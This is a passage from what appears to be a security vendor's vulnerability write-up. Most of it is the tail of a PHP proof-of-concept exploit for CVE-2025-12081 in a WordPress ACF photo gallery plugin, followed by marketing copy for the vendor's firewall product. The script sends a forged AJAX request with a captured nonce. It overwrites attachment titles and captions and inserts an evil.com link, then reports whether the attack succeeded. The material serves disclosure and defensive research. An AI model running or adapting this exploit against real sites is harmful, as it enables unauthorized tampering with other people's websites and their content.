// For this PoC, we simulate a captured nonce.
$nonce = 'VALID_NONCE_HERE'; // Replace with a nonce captured from a page with the gallery field.

// Step 3: Craft the exploit payload to modify attachment ID 123 (change as needed).
$attachment_id = 123;
$malicious_title = 'Hacked by Atomic Edge';
$malicious_caption = 'Unauthorized metadata modification via CVE-2025-12081';
$acf_field_key = 'field_abc123'; // The ACF field key for the gallery.
$acf_field_name = 'photo_gallery'; // The ACF field name.

$exploit_payload = [
    'action' => 'acf_photo_gallery_edit_save',
    'nonce' => $nonce,
    'attachment_id' => $attachment_id,
    'acf_field_key' => $acf_field_key,
    'acf_field_name' => $acf_field_name,
    'post_id' => 1, // The post ID where the gallery field is used.
    'title' => $malicious_title,
    'caption' => $malicious_caption,
    'url' => 'https://evil.com', // Example custom metadata field.
    'target' => '_blank'
];

// Step 4: Send the malicious AJAX request.
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_payload));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";

if ($http_code == 200 && strpos($response, 'success') !== false) {
    echo "[+] SUCCESS: Attachment metadata for ID $attachment_id likely modified.n";
} else {
    echo "[-] Exploit may have failed. Check nonce and attachment ID.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School